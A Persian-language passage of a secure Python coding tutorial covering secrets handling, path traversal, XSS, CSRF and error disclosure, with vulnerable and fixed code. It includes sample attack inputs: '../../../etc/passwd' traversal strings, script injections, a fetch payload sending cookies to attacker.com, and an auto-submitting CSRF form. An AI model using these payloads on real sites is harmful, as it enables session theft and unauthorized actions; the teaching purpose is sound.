از مزیت های استفاده از متغیر محیطی می توان به موارد زیر اشاره کرد:

جداسازی اطلاعات حساس از کد

افزایش امنیت هنگام انتشار پروژه

مدیریت آسان تنظیمات در محیط‌ های مختلف

امکان تغییر مقادیر بدون نیاز به ویرایش کد

 

استفاده از کتابخانه python-dotenv:

وقتی که از متغییر محیطی برای نگهداری اطلاعات حساس استفاده می کنیم در محیط توسعه معمولا این مقادیر را داخل فایل .env ذخیره می کنیم! از آن جا که پایتون به صورت پیش فرض این فایل را نمی خواند می توان با نصب کتابخانه python-dotenv برای بارگذاری خودکار این مقادیر استفاده کرد!

نصب:

pip install python-dotenv

کد:

from dotenv import load_dotenv
import os

load_dotenv()

api_key = os.getenv("API_KEY")

استفاده از این کتابخانه چند مزیت مهم دارد:

جدا شدن اطلاعات حساس از کد برنامه

سهولت در مدیریت تنظیمات پروژه

امکان استفاده از مقادیر متفاوت در محیط توسعه، تست و Production

جلوگیری از انتشار ناخواسته رمز ها و کلید های API در مخازن Git

به عنوان مثال، ممکن است آدرس پایگاه داده در محیط توسعه با محیط اصلی متفاوت باشد. با استفاده از فایل .env می‌توان بدون تغییر کد، این مقادیر را مدیریت کرد و هر بار بدون دست زدن در کدها آن را ویرایش کرد!

جلوگیری از انتشار فایل‌ های حساس:

استفاده از متغیر های محیطی و فایل های پیکربندی زمانی به شکل موثر عمل می کند که این فایل ها به صورت ناخواسته در مخازن کد منتشر نشوند!

یکی از اشتباهات رایج توسعه دهندگان این است که این فایل های حاوی اطلاعات محرنامه را به همراه سایر فایل های پروژه در Git ذخیره و در سرویس هایی مثل github منتشر می کنند!

فایل‌هایی مانند .env، config.ini یا secrets.json معمولا شامل اطلاعاتی نظیر موارد زیر هستند:

رمز عبور پایگاه داده

کلیدهای API

توکن‌ های دسترسی

کلید های رمزنگاری

اطلاعات اتصال به سرویس‌ های ابری

در صورتی که این فایل‌ ها در یک مخزن عمومی قرار بگیرند، مهاجمان می‌ توانند به سادگی به اطلاعات حساس دسترسی پیدا کنند و از آن‌ ها سواستفاده کنند.

استفاده از فایل .gitignore:

برای جلوگیری از ردیابی فایل‌ های حساس توسط Git، می‌ توان آن‌ ها را در فایل .gitignore قرار داد.

نمونه:

.env
config.ini
secrets.json

در این حالت، هنگام اجرای دستورهای git add و git push، فایل‌های ذکر شده به مخزن ارسال نخواهند شد.

فایل‌ های دیگری که معمولا نباید وارد مخزن شوند:

.env
.env.production
.env.local

config.ini
secrets.json
credentials.json

*.pem
*.key

db_backup.sql
backup.zip

این فایل‌ ها ممکن است حاوی کلید های خصوصی، فایل‌ های پشتیبان پایگاه داده یا اطلاعات حساس دیگری باشند که انتشار آن‌ها خطرات امنیتی جدی به همراه دارد.

فایل .gitignore فقط از اضافه شدن فایل‌ ها در آینده جلوگیری می‌ کند. اگر فایلی قبلا توسط Git ردیابی شده باشد، اضافه کردن نام آن به .gitignore باعث حذف آن از مخزن نمی‌ شود.

برای خارج کردن فایل از حالت ردیابی باید دستور زیر را اجرا کرد:

git rm --cached .env

سپس تغییرات را Commit و Push کرد.

ذخیره امن رمز های عبور:

به جای ذخیره رمز عبور به صورت متن ساده، باید از الگوریتم‌ های هش استفاده کرد.

 

نمونه با bcrypt:

نصب:

pip install bcrypt

هش کردن رمز عبور:

import bcrypt

password = b"admin123"

hashed_password = bcrypt.hashpw(
    password,
    bcrypt.gensalt()
)

print(hashed_password)

بررسی رمز عبور:

bcrypt.checkpw(
    b"admin123",
    hashed_password
)

حتی اگر پایگاه داده هم لو برود، مهاجم قادر به مشاهده رمز اصلی نخواهد بود.

افشای اطلاعات در لاگ‌ ها:

برخی برنامه‌ ها اطلاعات حساس را در فایل‌ های لاگ ثبت می‌ کنند:

نمونه آسیب‌ پذیر:

import logging

logging.info(
    "User login password: admin123"
)

در صورتی که فایل لاگ در اختیار افراد غیرمجاز قرار گیرد، اطلاعات مهم افشا خواهند شد.

روش مناسب:

logging.info("User logged in successfully")

بنابراین هیچگاه نباید در لاگ ها مواردی مانند یوزر و پسورد سیستم یا کاربران لاگ شود که در آينده مشکلی رخ ندهد!

استفاده از سرویس‌ های Secrets Management:

در پروژه‌ های بزرگ، اطلاعات حساس معمولا در ابزار هایی مانند موارد زیر نگهداری می‌ شوند:

HashiCorp Vault

AWS Secrets Manager

Azure Key Vault

Google Secret Manager

یکی از مزایای مهم این سرویس‌ ها، امکان چرخش خودکار کلید ها یا همان Key Rotation است. به این ترتیب، حتی اگر یک کلید یا رمز عبور افشا شود، می‌ توان آن را بدون ایجاد اختلال در سرویس به سرعت جایگزین کرد.

همچنین این سرویس‌ ها معمولا امکاناتی مانند:

کنترل دسترسی مبتنی بر نقش

ثبت رویداد های امنیتی

رمزنگاری خودکار اطلاعات

مانیتورینگ دسترسی‌ ها

مدیریت متمرکز اسرار

را در اختیار سازمان‌ ها قرار می‌ دهند.

افشای اطلاعات حساس یکی از آسیب‌ پذیری‌ های مهم در نرم‌ افزارهای مبتنی بر پایتون محسوب می‌ شود که معمولا به دلیل ذخیره نامناسب رمزهای عبور، کلیدهای API و سایر داده‌ های محرمانه ایجاد می‌ شود.

این ضعف امنیتی می‌ تواند منجر به نفوذ مهاجمان، سرقت اطلاعات و خسارات مالی و اعتباری گسترده شود.

 

7- آسیب‌ پذیری در پردازش فایل‌ ها:

بسیاری از برنامه های نوشته شده با پایتون برای ذخیره٬ خواندن٬ ویرایش یا بارگذاری فایل ها با سیستم فایل تعامل دارند!

اگر عملیات مربوط بدون اعتبار سنجی مناسب انجام شود مهاجمان می توانند از این ضعف برای دسترسی به فایل های حساس یا حذف و تغییر اطلاعات استفاده کنند! این باگ همچنین باعث می شود مهاجم بتواند کدهای مخرب خود را اجرا کنند!

آسیب‌ پذیری‌ های مربوط به پردازش فایل‌ ها معمولا در برنامه‌ های تحت وب، سیستم‌ های مدیریت محتوا، سرویس‌ های اشتراک فایل و برنامه‌ هایی که فایل‌ های کاربران را دریافت می‌ کنند، مشاهده می‌ شوند.

یکی از مهم‌ ترین انواع این آسیب‌ پذیری‌ ها، حمله پیمایش مسیر Path Traversal یا Directory Traversal است که به مهاجم اجازه می‌ دهد با دستکاری مسیر فایل، به فایل‌ هایی خارج از محدوده مجاز دسترسی پیدا کند.

 

حمله Directory Traversal:

فرض کنید برنامه‌ ای نام فایل را از کاربر دریافت کرده و آن را باز می‌ کند:

filename = input("Enter filename: ")

with open("files/" + filename, "r") as f:
    content = f.read()

print(content)

در حالت عادی، کاربر ممکن است فایل زیر را درخواست کند:

notes.txt

اما یک مهاجم می‌تواند مقدار زیر را وارد کند:

../../../etc/passwd

در نتیجه، برنامه تلاش می‌ کند فایل زیر را باز کند:

files/../../../etc/passwd

که در سیستم‌ های لینوکسی می‌ تواند منجر به افشای فایل‌ های حساس شود.

 

مثال دیگر با Flask:

نمونه آسیب‌ پذیر:

from flask import Flask, request

app = Flask(__name__)

@app.route("/download")
def download():
    filename = request.args.get("file")

    with open("uploads/" + filename, "r") as f:
        return f.read()

در این حالت، مهاجم می‌ تواند درخواست زیر را ارسال کند:

/download?file=../../app.py

یا:

/download?file=../../../etc/passwd

و به فایل‌های خارج از پوشه uploads دسترسی پیدا کند.

 

استفاده ایمن از مسیر فایل:

برای جلوگیری از بروز این مشکل می توان از کتابخانه os.path برای محدود کردن مسیر ها استفاده کنید:

import os

BASE_DIR = "uploads"

filename = input("Filename: ")

filepath = os.path.abspath(
    os.path.join(BASE_DIR, filename)
)

if filepath.startswith(os.path.abspath(BASE_DIR)):
    with open(filepath) as f:
        print(f.read())
else:
    print("Invalid file path")

در این روش، اگر کاربر تلاش کند از پوشه اصلی خارج شود، درخواست رد خواهد شد.

 

استفاده از pathlib:

کتابخانه pathlib نیز روشی مدرن و ایمن برای مدیریت فایل‌ ها فراهم می‌ کند:

from pathlib import Path

BASE_DIR = Path("uploads").resolve()

filename = input("Filename: ")

filepath = (BASE_DIR / filename).resolve()

if BASE_DIR in filepath.parents:
    print(filepath.read_text())
else:
    print("Access denied")

 

 

استفاده از secure_filename:

فریم‌ ورک Flask ابزاری برای پاکسازی نام فایل ارائه می‌ دهد:

from werkzeug.utils import secure_filename

filename = secure_filename(file.filename)

file.save("uploads/" + filename)

به عنوان مثال:

../../../test.py

به صورت زیر تبدیل می‌ شود:

test.py

و امکان پیمایش مسیر از بین می‌ رود.

 

بررسی نوع فایل:

فقط باید پسوند های مجاز پذیرفته شوند:

ALLOWED_EXTENSIONS = {"jpg", "png", "pdf"}

filename = file.filename

if "." in filename:
    ext = filename.rsplit(".", 1)[1].lower()

    if ext in ALLOWED_EXTENSIONS:
        file.save(filename)

 

آسیب‌ پذیری‌ های مربوط به پردازش فایل‌ ها یکی از مشکلات رایج در برنامه‌ های پایتون محسوب می‌ شوند و معمولا به دلیل اعتماد بیش از حد به ورودی کاربران ایجاد می‌ شوند.

حملاتی مانند Directory Traversal و بارگذاری فایل‌ های مخرب می‌ توانند منجر به افشای اطلاعات، تخریب داده‌ ها و حتی نفوذ کامل به سیستم شوند.

استفاده از روش‌ های ایمن برای مدیریت مسیر ها، اعتبارسنجی فایل‌ ها و محدود کردن دسترسی‌ ها، مهم‌ ترین راهکارهای مقابله با این دسته از تهدیدات امنیتی هستند.

 

8- حملات XSS:

حملات اسکریپت‌ نویسی میان‌ سایتی یا Cross-Site Scripting که به اختصار XSS نامیده می‌ شوند، یکی از رایج‌ ترین آسیب‌ پذیری‌ های امنیتی در برنامه‌ های تحت وب هستند.

این حملات زمانی رخ می دهد که داده های ورودی کاربران بدون هیچ اعتبارسنجی یا کدگذاری مناسب در صفحات وب نمایش داده می شود و در این شرایط مهاجم می تواند کدهای مخرب جاوا اسکریپتی را در صفحات وب قرار دهد و باعث اجرای آن در مرورگر کاربران شود!

برخلاف بسیاری از حملات که سرور را هدف قرار می‌ دهند، حملات XSS مرورگر کاربران را هدف قرار می‌ دهند. مهاجم از این طریق می‌ تواند کوکی‌ ها و اطلاعات سشن کاربران را سرقت کند، کاربران را به صفحات جعلی هدایت نماید، محتوای صفحات را تغییر دهد یا حتی اقدامات مختلفی را به نام کاربر مورد هدف انجام دهد.

برنامه‌ های نوشته‌ شده با پایتون و فریم‌ ورک‌ هایی مانند Flask و Django نیز در صورت عدم رعایت اصول امنیتی، ممکن است در برابر این نوع حملات آسیب‌ پذیر باشند.

 

 

نحوه ایجاد آسیب‌ پذیری XSS:

فرض کنید یک برنامه وب، نام وارد شده توسط کاربر را مستقیما در صفحه نمایش می‌ دهد.

 

نمونه آسیب‌پذیر در Flask:

from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def home():
    name = request.args.get("name")
    return f"<h1>Welcome {name}</h1>"

در حالت عادی، کاربر درخواست زیر را ارسال می‌ کند:

http://localhost:5000/?name=Ali

و خروجی زیر نمایش داده می‌ شود:

<h1>Welcome Ali</h1>

اما مهاجم می‌ تواند مقدار زیر را ارسال کند:

http://localhost:5000/?name=<script>alert('Hacked')</script>

در نتیجه، مرورگر کاربر کد جاوا اسکریپت زیر را اجرا خواهد کرد:

<script>alert('Hacked')</script>

 

سرقت کوکی‌ های کاربر:

مهاجم می‌ تواند به جای نمایش پیام، کد مخرب زیر را تزریق کند:

<script>
fetch("https://attacker.com/?cookie=" + document.cookie)
</script>

در این حالت، کوکی‌ های کاربر به سرور مهاجم ارسال خواهند شد و ممکن است مهاجم بتواند سشن کاربر را سرقت کند.

 

انواع حملات XSS:

حملات XSS انواع مختلفی دارند که در ادامه به آن اشاره خواهیم کرد!

الف- Reflected XSS:

در حملات Reflected XSS، کد مخرب به صورت موقت و از طریق درخواست کاربر وارد برنامه می‌ شود و بلافاصله در پاسخ سرور به مرورگر بازگردانده می‌ شود. در این نوع حمله، کد مخرب در سرور یا پایگاه داده ذخیره نمی‌ شود و تنها زمانی اجرا خواهد شد که کاربر روی یک لینک آلوده کلیک کند یا درخواست خاصی را ارسال نماید.

مهاجمان معمولا از ایمیل‌ های فیشینگ، پیام‌ های شبکه‌ های اجتماعی یا لینک‌ های جعلی برای هدایت قربانی به صفحات آسیب‌ پذیر استفاده می‌ کنند. از آنجا که لینک ارسالی ممکن است کاملا معتبر به نظر برسد، بسیاری از کاربران بدون اطلاع از وجود کد مخرب، آن را باز می‌ کنند.

برای مثال، فرض کنید سایت مقدار جستجوی کاربر را بدون فیلتر کردن در صفحه نمایش دهد:

https://example.com/search?q=<script>alert(1)</script>

در صورتی که برنامه ورودی را مستقیما در خروجی نمایش دهد، مرورگر کاربر کد جاوا اسکریپت را اجرا خواهد کرد.

اگرچه این مثال تنها یک پیام هشدار نمایش می‌ دهد، اما در حملات واقعی هدف مهاجم معمولا سرقت اطلاعات سشن کاربر یا اجرای عملیات مخرب در حساب او است.

 

ب- Stored XSS:

حملات Stored XSS خطرناک‌ ترین نوع حملات XSS محسوب می‌ شوند. در این حالت، کد مخرب توسط مهاجم در بخشی از برنامه ذخیره می‌ شود و هر بار که کاربران محتوای آلوده را مشاهده کنند، کد جاوا اسکریپت نیز اجرا خواهد شد.

برخلاف Reflected XSS که نیازمند ارسال لینک آلوده برای قربانی است، در Stored XSS تنها کافی است مهاجم یک بار کد مخرب را در سیستم ثبت کند. از آن پس، تمام کاربرانی که آن صفحه را مشاهده می‌کنند، تحت تاثیر حمله قرار خواهند گرفت.

این آسیب‌ پذیری معمولا در بخش‌ هایی مانند نظرات کاربران، انجمن‌های گفتگو، سیستم‌ های پیام‌ رسان، پروفایل کاربران یا توضیحات محصولات مشاهده می‌ شود.

به عنوان مثال، اگر مهاجم در قسمت نظرات سایت کد زیر را ثبت کند:

<script>alert("XSS")</script>

و برنامه ورودی‌ ها را بدون فیلتر مناسب نمایش دهد، تمام کاربرانی که آن نظر را مشاهده کنند، کد جاوا اسکریپت را اجرا خواهند کرد.

به همین دلیل، Stored XSS می‌ تواند تعداد زیادی از کاربران را به صورت هم‌ زمان تحت تاثیر قرار دهد و خسارات گسترده‌ ای ایجاد کند.

پ- DOM-Based XSS:

در حملات DOM-Based XSS، مشکل نه در سمت سرور، بلکه در کدهای جاوا اسکریپت اجرا شده در مرورگر وجود دارد. در این نوع حمله، داده‌ های کنترل‌ شده توسط کاربر بدون بررسی مناسب در ساختار DOM قرار می‌ گیرند و همین مسئله باعث اجرای کد مخرب می‌ شود.

در واقع، پاسخ سرور ممکن است کاملا سالم باشد، اما نحوه پردازش داده‌ ها در مرورگر باعث ایجاد آسیب‌ پذیری می‌شود. به همین دلیل، شناسایی این نوع حملات معمولا دشوارتر از سایر انواع XSS است.

برای مثال، فرض کنید برنامه بخشی از محتوای URL را دریافت کرده و مستقیما در صفحه قرار دهد:

document.getElementById("result").innerHTML =
location.hash.substring(1);

اگر کاربر صفحه‌ای مشابه زیر را باز کند:

https://example.com/#<script>alert(1)</script>

کد مخرب بدون دخالت مستقیم سرور و تنها در مرورگر قربانی اجرا خواهد شد.

این نوع آسیب‌پذیری بیشتر در برنامه‌ های تک‌ صفحه‌ ای و برنامه‌هایی که وابستگی زیادی به جاوا اسکریپت دارند مشاهده می‌ شود و معمولا ناشی از استفاده نادرست از توابعی مانند innerHTML یا document.write() است.

 

جلوگیری از XSS با Jinja2:

قالب‌های Jinja2 در Flask به صورت پیش‌ فرض داده‌ ها را Escape می‌ کنند.

نمونه ایمن:

from flask import render_template

@app.route("/")
def home():
    name = request.args.get("name")

    return render_template(
        "index.html",
        name=name
    )

 

فایل HTML:

<h1>Welcome {{ name }}</h1>

اگر کاربر مقدار زیر را وارد کند:

<script>alert("Hacked")</script>

مرورگر آن را به صورت متن نمایش می‌ دهد و اسکریپت اجرا نمی‌ شود.

استفاده از html.escape:

برای کد گذاری کاراکترهای خطرناک می‌ توان از کتابخانه html استفاده کرد:

import html

user_input = "<script>alert('XSS')</script>"

safe_data = html.escape(user_input)

print(safe_data)

خروجی:

&lt;script&gt;alert('XSS')&lt;/script&gt;

در نتیجه مرورگر آن را به عنوان متن نمایش خواهد داد.

 

استفاده از Content Security Policy:

هدر امنیتی CSP می‌تواند اجرای اسکریپت‌های غیرمجاز را محدود کند:

from flask import Flask

app = Flask(__name__)

@app.after_request
def add_security_headers(response):
    response.headers[
        "Content-Security-Policy"
    ] = "default-src 'self'"
    return response

این هدر باعث می‌ شود مرورگر تنها اسکریپت‌ هایی را اجرا کند که از دامنه اصلی سایت بارگذاری شده‌ اند.

 

راهکارهای جلوگیری از حملات XSS:

برای جلوگیری از این روش ها راهکاری های زیر می تواند به شما کمک کند تا این حملات را خنثی کنید.

 

اعتبارسنجی ورودی کاربران:

ابتدایی روش برای جلوگیری از این حملات این است که ورودی کاربران باید قبل از اینکه پردازش شوند مورد بررسی قرار بگیرند! این فرآیند شامل کنترل نوع داده٬ محدود کردن طول ورودی٬ استفاده از الگو های مجاز و جلوگیری از ورود کاراکترها یا کدهای غیر مجاز است!

اعتبارسنجی صحیح باعث می شود داده های مخرب پیش از رسیدن به بخش های حساس برنامه شناسایی و رد شوند! علاوه بر این، انجام اعتبارسنجی هم در سمت کاربر و هم در سمت سرور، امنیت بیشتری را فراهم می‌ کند و احتمال سواستفاده مهاجمان را کاهش می‌ دهد.

 

کدگذاری خروجی‌ ها:

اطلاعات ورودی باید قبل از نمایش در خروجی حتما به شکل html شوند تا مرورگر آن‌ ها را به عنوان محتوای متنی تفسیر کند و نه کد اجرایی.

کاراکترهایی مانند <، > و & باید به معادل‌ های امن خود تبدیل شوند تا امکان اجرای اسکریپت‌ های مخرب از بین برود.

استفاده از کدگذاری مناسب برای محیط‌ های مختلف مانند HTML، JavaScript و URL اهمیت زیادی دارد. این روش یکی از موثرترین راهکار ها برای جلوگیری از حملات XSS محسوب می‌ شود.

 

استفاده از Template Engine ها:

فریم‌ ورک‌ ها و Template Engine هایی مانند Django و Jinja2 به صورت پیش‌ فرض بسیاری از حملات XSS را خنثی می‌ کنند.

این ابزارها با استفاده از مکانیزم‌ های Escape خودکار، داده‌ های ورودی را پیش از نمایش ایمن‌ سازی می‌ کنند. به همین دلیل، احتمال بروز خطا های ناشی از قرار دادن مستقیم داده‌ های کاربران در صفحات وب کاهش می‌ یابد.

استفاده از این ابزارها علاوه بر افزایش امنیت، توسعه و نگهداری برنامه را نیز ساده‌ تر می‌کند.

 

استفاده از Content Security Policy:

CSP یک لایه امنیتی اضافی برای محدود کردن اجرای کد های مخرب در مرورگر فراهم می‌ کند.

با تعریف سیاست‌ های مشخص، می‌ توان منابع مجاز برای بارگذاری اسکریپت‌ ها، فایل‌ های CSS و سایر محتوا ها را کنترل کرد. در نتیجه، حتی اگر بخشی از کد مخرب وارد صفحه شود، مرورگر از اجرای آن جلوگیری خواهد کرد.

استفاده از CSP به عنوان یک مکانیزم دفاعی ثانویه، تاثیر حملات XSS را به میزان قابل توجهی کاهش می‌ دهد.

 

اجتناب از قرار دادن مستقیم داده‌ های کاربران در HTML:

نباید داده های ورودی کاربران بدون اینکه به درستی پردازش شوند مستقیم در کدها Html قرار بگیرند! این داده ها ابتدا باید اعتبارسنجی شوند و سپس با استفاده از روش های مناسب کدگذاری شوند!

قرار دادن مستقیم اطلاعات کاربران در Html ، ویژگی‌ ها یا کد های JavaScript می‌ تواند زمینه اجرای اسکریپت‌ های مخرب را فراهم کند.

استفاده از توابع و کتابخانه‌های استاندارد برای تولید محتوای پویا، احتمال بروز چنین آسیب‌پذیری‌هایی را کاهش می‌دهد و امنیت برنامه را افزایش می‌دهد.

 

بروزرسانی فریم‌ ورک‌ ها و کتابخانه‌ ها:

نسخه‌ های جدید فریم‌ ورک‌ ها و کتابخانه‌ ها معمولا شامل اصلاحات و بهبود های امنیتی برای مقابله با آسیب‌ پذیری‌ های شناخته‌ شده هستند.

استفاده از نسخه‌ های قدیمی ممکن است باعث باقی ماندن ضعف‌ های امنیتی و افزایش خطر حملات XSS شود. به همین دلیل، توسعه‌ دهندگان باید به صورت منظم وابستگی‌ های نرم‌افزار را بررسی کرده و بروزرسانی‌ های منتشرشده را اعمال کنند.

همچنین استفاده از ابزارهای مدیریت وابستگی و بررسی آسیب‌ پذیری‌ ها می‌ تواند به شناسایی و رفع مشکلات امنیتی کمک کند.

 

حملات Cross-Site Scripting یکی از رایج ترین آسیب‌ پذیری‌ های برنامه‌ های تحت وب محسوب می‌ شوند که می‌ توانند منجر به سرقت اطلاعات کاربران، گرفتن سشن ها و تغییر محتوای صفحات شوند.

این آسیب‌ پذیری معمولا در اثر نمایش مستقیم داده‌ های ورودی کاربران در صفحات وب ایجاد می‌ شود.

که با راهکاری های گفته شده می توان جلوی این حملات را تا حد بسیار بالا و خوبی گرفت.

 

9- حملات CSRF:

حمله جعل درخواست یا Cross-Site Request Forgery که به اختصار CSRF نامیده می‌ شود، جزو آسیب پذیری هایی هست که تقریبا در هر برنامه تحت وب دیده می شود و مهاجم کاربرا احراز هویت شده را فریب می دهد تا بدون اطلاع خود درخواست های ناخواسته ای را به یک وب سایت معتبر ارسال کند!

از آنجا که این درخواست ها از مرورگر کاربر و به همراه کوکی ها احراز هویت شده ارسال می شوند سرور آن را معتبر تلقی می کند و عملیات مدنظر را انجام می دهد!

از ویژگی های این حمله این است که مهاجم مستقیم حساب کاربری را هک نمی کند بلکه از اعتماد سرور به مرورگر کاربر سواستفاده می کند! اگر برنامه وب مکانیزم های حفاظتی مناسب نداشته باشد مهاجم می تواند اقداماتی مثل تغییر رمز٬ انتقال وجه در حساب های بانکی٬ حذف اطلاعات یا تغییر تنظیمات حساب کاربری را به نام فرد مورد هدف قرار گرفته انجام دهد!

 

نحوه انجام حمله CSRF:

برای مثال فرض کنید یک کاربر وارد پنل کاربری در بانک شده است و یک سشن فعال باز کرده است! مهاجم لینکی را برای کاربر ارسال می کند یا صفحه ای مخرب طراحی می کند که حاوی درخواست زیر است:

<img src="https://bank.com/transfer?amount=1000&to=attacker">

زمانی که کاربر صفحه مخرب را باز می‌ کند، مرورگر به طور خودکار درخواست را به وب‌ سایت بانک ارسال می‌ کند و چون کوکی احراز هویت کاربر همراه درخواست ارسال می‌ شود، سرور تصور می‌کند که درخواست توسط خود کاربر صادر شده است.

و در اینجا می تواند سواستفاده هایی نظیر انتقال وجه و برداشت از حساب را انجام دهد!

 

مثال آسیب‌پذیر در Flask:

فرض کنید برنامه‌ ای امکان تغییر ایمیل کاربر را فراهم می‌ کند:

from flask import Flask, request

app = Flask(__name__)

@app.route("/change_email", methods=["POST"])
def change_email():
    email = request.form["email"]

    # Update email in database

    return "Email updated"

در این حالت، هیچ مکانیزمی برای تشخیص درخواست‌ های جعلی وجود ندارد.

یک مهاجم می‌تواند صفحه زیر را ایجاد کند:

<form action="http://localhost:5000/change_email"
      method="POST">

    <input type="hidden"
           name="email"
           value="attacker@gmail.com">

</form>

<script>
document.forms[0].submit()
</script>

اگر قربانی در سایت موردنظر وارد شده باشد و این صفحه را باز کند، ایمیل حساب او بدون اطلاعش تغییر خواهد کرد.

 

 

راهکارهای جلوگیری از حملات CSRF:

به طور کلی برای جلوگیری از حملات CSRF راهکار های مختلفی وجود دارد که به آن اشاره خواهیم کرد:

استفاده از CSRF Token:

یکی از روش های رایجی که برای جلوگیری از این حمله استفاده می شود استفاده از توکن CSRF می باشد! در این روش یک مقدار تصادفی و غیرقابل حدس به فرم اضافه می شود که سرور هنگام دریافت درخواست آن را بررسی می کند و اعتبار آن را چک می کند و در صورت تایید درخواست را می پذیرد!

نمونه فرم:

<form method="POST">
    <input type="hidden"
           name="csrf_token"
           value="random_token">

    <input type="text"
           name="email">

    <button>Save</button>
</form>

در صورتی که درخواست فاقد این توکن باشد یا مقدار آن معتبر نباشد، سرور درخواست را رد می‌ کند.

محافظت در Flask با Flask-WTF:

در فریم ورک فلسک برای جلوگیری از این حملات می توان کتابخانه Flask-WTF را نصب کرد برای انجام این کار ابتدا کتابخانه را نصب می‌ کنیم:

pip install flask-wtf

سپس:

from flask import Flask
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)

app.config["SECRET_KEY"] = "secret"

csrf = CSRFProtect(app)

نمونه فرم:

from flask_wtf import FlaskForm
from wtforms import StringField

class EmailForm(FlaskForm):
    email = StringField()

در قالب HTML:

<form method="POST">
    {{ form.csrf_token }}
    {{ form.email }}
</form>

در این حالت، توکن CSRF به صورت خودکار تولید و اعتبارسنجی می‌ شود.

محافظت در Django:

فریم‌ ورک Django به صورت پیش‌فرض از CSRF Token پشتیبانی می‌ کند.

در قالب HTML کافی است:

<form method="POST">

    {% csrf_token %}

    <input type="text" name="email">

</form>

Django هنگام دریافت درخواست، اعتبار توکن را بررسی می‌ کند و از اجرای درخواست‌ های جعلی جلوگیری می‌ کند.

استفاده از SameSite Cookie:

یکی دیگر از روش های مهم امنیتی برای محافظت از سشن های فعال کاربران استفاده از ویژگی SameSite در کوکی ها می باشد!

این ویژگی به مرورگر اعلام می کند که تحت چه شرایطی مجاز است کوکی ها را همراه درخواست های ارسالی ارسال کند!

در حالت عادی، مرورگر هنگام ارسال درخواست به یک وب‌ سایت، کوکی‌ های مربوط به آن سایت را نیز ضمیمه می‌ کند. این رفتار می‌ تواند زمینه‌ ساز حملاتی مانند CSRF شود، زیرا مهاجم قادر است کاربر را وادار کند بدون اطلاع خود، درخواست‌ هایی را به سایت موردنظر ارسال کند و از کوکی‌ های سشن او سواستفاده نماید.

ویژگی SameSite با محدود کردن ارسال کوکی‌ ها در درخواست‌ های میان‌ سایتی، احتمال موفقیت این حملات را کاهش می‌ دهد.

نمونه:

response.set_cookie(
    "session",
    value,
    samesite="Strict"
)

این روش سه حالت با نام های Strict ٬ Lax و None دارد که استفاده از حالت Strict بیشترین سطح امنیت را فراهم می کند.

استفاده از متدهای مناسب HTTP:

یکی از اصول مهم در طراحی امن برنامه‌ های تحت وب، استفاده صحیح از متد های HTTP است. هر متد برای هدف خاصی طراحی شده و استفاده نادرست از آن‌ ها می‌ تواند باعث ایجاد آسیب‌ پذیری‌ های امنیتی شود.

متد GET برای دریافت و مشاهده اطلاعات در نظر گرفته شده است و نباید باعث تغییر وضعیت سیستم شود. به عبارت دیگر، عملیات‌ هایی مانند حذف حساب کاربری، تغییر رمز عبور، ثبت تراکنش یا ویرایش اطلاعات نباید از طریق درخواست‌ های GET انجام شوند.

نمونه نامناسب:

@app.route("/delete_account")
def delete_account():
    ...

این موضوع خطرناک است، زیرا مهاجم می‌ تواند از طریق یک لینک مخرب، تصویر مخفی یا یک صفحه جعلی، کاربر را مجبور به ارسال این درخواست کند.

همچنین درخواست‌ های GET ممکن است در تاریخچه مرورگر، لاگ سرورها یا حتی موتورهای جستجو ذخیره شوند که این مسئله خطرات بیشتری به همراه دارد.

روش مناسب:

@app.route(
    "/delete_account",
    methods=["POST"]
)
def delete_account():
    ...

 

حملات CSRF یکی از آسیب‌ پذیری‌ های مهم برنامه‌ های تحت وب محسوب می‌ شوند که در آن مهاجم از اعتماد سرور به مرورگر کاربر سواستفاده می‌ کند و درخواست‌ های جعلی را به نام قربانی ارسال می‌کند.

این حملات می‌توانند منجر به تغییر اطلاعات حساب، حذف داده‌ ها و انجام عملیات غیرمجاز شوند که با روش های گفته شده می توان جلوی این حملات را گرفت و خطر امنیتی را کاهش داد.

 

10- مدیریت نامناسب و نمایش خطاها:

مدیریت خطاها و عدم نمایش آن ها در سمت کلاینت یکی دیگر از بخش های مهم توسعه نرم افزار های امن می باشد! اما در بسیاری از برنامه های پایتون به اندازه کافی به آن توجه نمی شود و توسعه دهندگان فکر می کنند از اهمیت بالایی برخودار نیست!

هنگامی که یک خطا رخ می دهد پایتون اطلاعات زیادی را در قالب Traceback نمایش می دهد که برای توسعه دهنده در زمان کدنویسی بسیار مفید هست. اما همین اطلاعات در صورت نمایش به کاربران می تواند زمینه ساز تهدید های امنیتی شود!

این اطلاعات ممکن است شامل مسیر فایل ها٬ ساختار پروژه٬ نام متغییرها٬ نوع پایگاه داده٬ نسخه پایتون و حتی کتابخانه های مورد استفاده باشند!

یک فرد هکر معمولا از این اطلاعات برای جمع آوری داده های اولیه درباره سامانه هدف استفاده می کند به عنوان مثال، اطلاع از نوع پایگاه داده مورد استفاده، نسخه فریم‌ ورک یا مسیر فایل‌ های برنامه می‌ تواند فرآیند طراحی حملات بعدی را ساده‌ تر کند.

به همین دلیل، مدیریت نامناسب خطاها به عنوان نوعی آسیب‌ پذیری امنیتی شناخته می‌ شود و نباید آن را صرفا یک مشکل مربوط به تجربه کاربری در نظر گرفت و ساده از کنار آن گذشت!

نمایش مستقیم Traceback:

در پایتون، زمانی که خطا ها مدیریت نشود، اطلاعات کاملی از خطا نمایش داده می‌ شود.

نمونه زیر را در نظر بگیرید:

filename = input("File name: ")

with open(filename) as f:
    data = f.read()

اگر فایل موردنظر وجود نداشته باشد، خروجی مشابه زیر نمایش داده می‌ شود:

 

Traceback (most recent call last):
  File "/home/project/main.py", line 3, in <module>
    with open(filename) as f:
FileNotFoundError:
[Errno 2] No such file or directory

در این پیام خطا، مهاجم می‌ تواند به اطلاعاتی مانند موارد زیر دست پیدا کند:

محل قرارگیری فایل‌ های برنامه

ساختار پوشه‌ های پروژه

نام فایل‌ ها و ماژول‌ های داخلی

نسخه پایتون و کتابخانه‌ های مورد استفاده

اگر این اطلاعات در محیط عملیاتی نمایش داده شوند، مهاجم شناخت بهتری از سامانه پیدا کرده و می‌ تواند حملات خود را هدفمند تر طراحی کند.

افشای اطلاعات پایگاه داده:

یکی دیگر از مشکلات رایج، نمایش مستقیم خطاهای پایگاه داده است.

نمونه زیر را در نظر بگیرید:

try:
    cursor.execute(query)

except Exception as e:
    print(e)

اگر نام جدول اشتباه باشد، ممکن است پیام زیر نمایش داده شود:

sqlite3.OperationalError:
no such table: users

این پیام به مهاجم اطلاعات مهمی می‌ دهد:

نوع پایگاه داده SQLite است.

جدولی با نام users وجود دارد.

